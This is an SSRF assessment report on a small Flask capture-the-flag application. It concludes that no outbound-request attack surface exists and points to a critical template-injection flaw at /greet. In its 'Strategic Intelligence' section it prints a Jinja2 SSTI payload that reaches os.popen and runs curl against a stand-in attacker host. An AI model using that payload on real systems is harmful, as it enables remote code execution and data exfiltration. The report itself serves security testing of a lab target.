# SSRF Analysis Report

## 1. Executive Summary

- **Analysis Status:** Complete
- **Key Outcome:** Zero SSRF vulnerabilities identified. The application does not make any outbound HTTP requests, network connections, or fetch remote resources.
- **Purpose of this Document:** This report documents the comprehensive analysis of the Flask CTF application (XBEN-076-24) for Server-Side Request Forgery vulnerabilities and confirms that no SSRF attack surface exists.

## 2. Application Architecture Context

### HTTP Client Usage
The application uses **NO HTTP client libraries**. Code analysis reveals:

**Import Statement Analysis (app/app.py:1-2):**
```python
from flask import Flask, request, render_template_string
```

**Key Findings:**
- No `requests`, `urllib`, `urllib3`, `http.client`, `aiohttp`, or `httpx` imported
- No socket programming or raw network connections
- No external service integrations
- Dependencies limited to Flask 3.0.3 and Werkzeug 3.0.3 (no HTTP clients)

### Request Architecture
This is a **purely request-response application** with:
- 2 HTTP endpoints: `/` (index) and `/greet` (vulnerable to SSTI)
- No outbound request functionality
- No background jobs or asynchronous tasks
- No webhook, callback, or redirect mechanisms
- Stateless architecture with no external API calls

## 3. Analysis Methodology Applied

The following comprehensive SSRF analysis was performed across all 13 SSRF vulnerability categories:

### Categories Analyzed (All Clear)

#### 1. HTTP(S) Clients
- **Status:** ✅ NO VULNERABILITIES
- **Checked:** requests, urllib, urllib3, http.client, aiohttp, httpx
- **Finding:** No HTTP client libraries present

#### 2. Raw Sockets & Connect APIs
- **Status:** ✅ NO VULNERABILITIES
- **Checked:** socket.socket(), socket.connect(), network connection APIs
- **Finding:** No raw socket operations

#### 3. URL Openers & File Includes
- **Status:** ✅ NO VULNERABILITIES
- **Checked:** open() with URLs, urllib.urlopen(), file operations with remote paths
- **Finding:** No file operations of any kind

#### 4. Redirect & "Next URL" Handlers
- **Status:** ✅ NO VULNERABILITIES
- **Checked:** Flask redirect(), Location headers, return_url/next_url/callback_url parameters
- **Finding:** No redirect functionality exists

#### 5. Headless Browsers & Render Engines
- **Status:** ✅ NO VULNERABILITIES
- **Checked:** Puppeteer, Playwright, Selenium, wkhtmltopdf, server-side rendering
- **Finding:** No browser automation or PDF generation

#### 6. Media Processors
- **Status:** ✅ NO VULNERABILITIES
- **Checked:** PIL/Pillow, ImageMagick, GraphicsMagick, FFmpeg
- **Finding:** No image or media processing

#### 7. Link Preview & Unfurlers
- **Status:** ✅ NO VULNERABILITIES
- **Checked:** URL metadata extraction, Open Graph fetchers, link preview generators
- **Finding:** No link preview functionality

#### 8. Webhook Testers & Callback Verifiers
- **Status:** ✅ NO VULNERABILITIES
- **Checked:** Webhook ping functionality, callback URL validation, health check notifications
- **Finding:** No webhook or callback functionality in application code

#### 9. SSO/OIDC Discovery & JWKS Fetchers
- **Status:** ✅ NO VULNERABILITIES
- **Checked:** OpenID Connect discovery, JWKS fetching, OAuth metadata retrieval
- **Finding:** No SSO, OAuth, or OIDC integration

#### 10. Importers & Data Loaders
- **Status:** ✅ NO VULNERABILITIES
- **Checked:** Import from URL, RSS/Atom feed readers, remote configuration loading
- **Finding:** No data import or feed reading

#### 11. Package/Plugin Installers
- **Status:** ✅ NO VULNERABILITIES
- **Checked:** Install from URL features, remote package fetching, update mechanisms
- **Finding:** No plugin or package installation

#### 12. Monitoring & Health Check Frameworks
- **Status:** ✅ NO VULNERABILITIES
- **Application Code:** No monitoring, health check, or URL pinging in app/app.py
- **Note:** Docker Compose health check exists but is container-level orchestration (out of scope)

#### 13. Cloud Metadata Helpers
- **Status:** ✅ NO VULNERABILITIES
- **Checked:** AWS/GCP/Azure metadata API calls, instance metadata access (169.254.169.254)
- **Finding:** No cloud metadata access

## 4. Dominant Vulnerability Patterns

**No SSRF vulnerability patterns were identified.**

The application architecture inherently prevents SSRF vulnerabilities through:
- **No Outbound Request Capability:** Application cannot initiate HTTP requests
- **No URL Parameters:** No endpoints accept URL, callback, or webhook parameters
- **Minimal Dependencies:** Only Flask and Werkzeug (no HTTP client libraries)
- **Simple Request-Response Model:** Pure server-side template rendering without external calls

## 5. Strategic Intelligence for Exploitation

**SSRF Attack Surface: NONE**

### Why SSRF is Not Applicable

1. **No HTTP Client Libraries:** The application does not import or use any libraries capable of making HTTP requests
2. **No URL Processing:** No endpoints accept or process URLs, hostnames, or network addresses
3. **No External Integrations:** Application is completely isolated with no external service communication
4. **No File Fetching:** Application performs no file operations, local or remote
5. **No Redirect Logic:** Application never uses Flask's redirect() function or manipulates Location headers

### Theoretical SSTI-to-RCE-to-SSRF Chain

While not a traditional SSRF vulnerability, it should be noted that the **critical SSTI vulnerability** at `/greet` endpoint (`app/app.py:28-30`) provides **Remote Code Execution (RCE)**. An attacker with RCE could theoretically:

```python
# Theoretical SSTI payload to execute curl command:
GET /greet?name={{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('curl http://attacker.com').read()}}
```

**Classification:** This would be **RCE with SSRF as a consequence**, not a standalone SSRF vulnerability. The root cause is SSTI/RCE, and remediation focuses on fixing template injection, not implementing SSRF controls.

## 6. Secure by Design: Validated Components

Since the application has no outbound request functionality, there are no components to validate for SSRF protections. The application is architecturally immune to SSRF due to the absence of any request-making capability.

| Component/Flow | Endpoint/File Location | Defense Mechanism Implemented | Verdict |
|---|---|---|---|
| Index Page | `app/app.py:5-24` (/) | Static HTML with no external requests | SAFE (No SSRF capability) |
| Greeting Handler | `app/app.py:26-30` (/greet) | No HTTP client usage, no URL parameters | SAFE (No SSRF capability) |
| Application Dependencies | `app/requirements.txt` | Only Flask/Werkzeug, no HTTP clients | SAFE (No request libraries) |

## 7. Verification Methods

### Static Code Analysis
- ✅ Full Abstract Syntax Tree (AST) parsing of app/app.py
- ✅ Import statement analysis (only Flask imports found)
- ✅ Function call analysis (no HTTP client calls)
- ✅ Dependency review (requirements.txt contains only Flask 3.0.3 and Werkzeug 3.0.3)

### Pattern Matching
- ✅ Searched for 50+ SSRF-related function names and patterns
- ✅ Searched for URL parameter names (url, callback, webhook, link, fetch)
- ✅ Searched for HTTP client method names (get, post, request, fetch, urlopen)
- ✅ No matches found in application code

### Behavioral Analysis
- ✅ Reviewed all 2 endpoints for outbound request functionality
- ✅ Analyzed parameter handling (only 'name' text parameter accepted)
- ✅ Verified no redirect or proxy functionality exists

## 8. Conclusion

**Zero SSRF vulnerabilities identified.** This Flask CTF application is architecturally immune to Server-Side Request Forgery attacks due to the complete absence of outbound HTTP request functionality. The application is a minimal 33-line Python script designed to demonstrate Server-Side Template Injection (SSTI), not SSRF.

**Primary Security Concern:** While SSRF is not applicable, the application has a **CRITICAL SSTI vulnerability** at the `/greet` endpoint that provides Remote Code Execution. This RCE capability theoretically allows an attacker to execute commands that make network requests, but this would be classified as RCE exploitation, not SSRF.

**Recommendation:** Focus security efforts on the SSTI vulnerability at `app/app.py:28-30`, which poses a far greater risk than any potential SSRF vector.
